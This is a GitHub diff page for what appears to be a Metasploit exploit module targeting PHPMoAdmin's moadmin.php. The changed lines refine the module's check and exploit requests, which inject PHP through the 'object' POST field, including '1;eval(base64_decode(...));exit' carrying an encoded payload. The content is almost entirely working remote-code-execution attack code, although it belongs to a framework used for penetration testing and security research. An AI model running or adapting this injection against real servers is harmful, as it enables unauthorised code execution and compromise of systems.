File tree Expand file tree Collapse file tree 1 file changed +7
-9
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +7
-9
lines changed Original file line number Diff line number Diff line change @@ -29,7 +29,7 @@ def initialize(info = {})
29
29
] ,
30
30
'Privileged' => false ,
31
31
'Platform' => 'php' ,
32
- 'Arch' => ARCH_PHP ,
32
+ 'Arch' => ARCH_PHP ,
33
33
'Targets' =>
34
34
[
35
35
[ 'PHPMoAdmin' , { } ] ,
@@ -44,16 +44,17 @@ def initialize(info = {})
44
44
end
45
45
46
46
def check
47
+ testrun = Rex ::Text ::rand_text_alpha ( 10 )
47
48
res = send_request_cgi ( {
48
- 'uri' => normalize_uri ( target_uri . to_s , 'moadmin.php' ) ,
49
+ 'uri' => normalize_uri ( target_uri , 'moadmin.php' ) ,
49
50
'method' => 'POST' ,
50
51
'vars_post' =>
51
52
{
52
- 'object' => '1;phpinfo() ;exit' ,
53
+ 'object' => "1;echo ' #{ testrun } ' ;exit" ,
53
54
}
54
55
} )
55
56
56
- if res and res . body . match ( /Build Date/ )
57
+ if res and res . body . include? ( testrun )
57
58
return Exploit ::CheckCode ::Vulnerable
58
59
end
59
60
@@ -65,14 +66,11 @@ def exploit
65
66
print_status ( "Executing payload..." )
66
67
67
68
res = send_request_cgi ( {
68
- 'uri' => normalize_uri ( target_uri . to_s , 'moadmin.php' ) ,
69
+ 'uri' => normalize_uri ( target_uri , 'moadmin.php' ) ,
69
70
'method' => 'POST' ,
70
71
'vars_post' =>
71
72
{
72
- 'object' => "1;eval(base64_decode($_SERVER[HTTP_CMD]));exit"
73
- } ,
74
- 'headers' => {
75
- 'Cmd' => Rex ::Text . encode_base64 ( payload . encoded )
73
+ 'object' => "1;eval(base64_decode('#{ Rex ::Text . encode_base64 ( payload . encoded ) } '));exit"
76
74
}
77
75
} )
78
76
You can’t perform that action at this time.
0 commit comments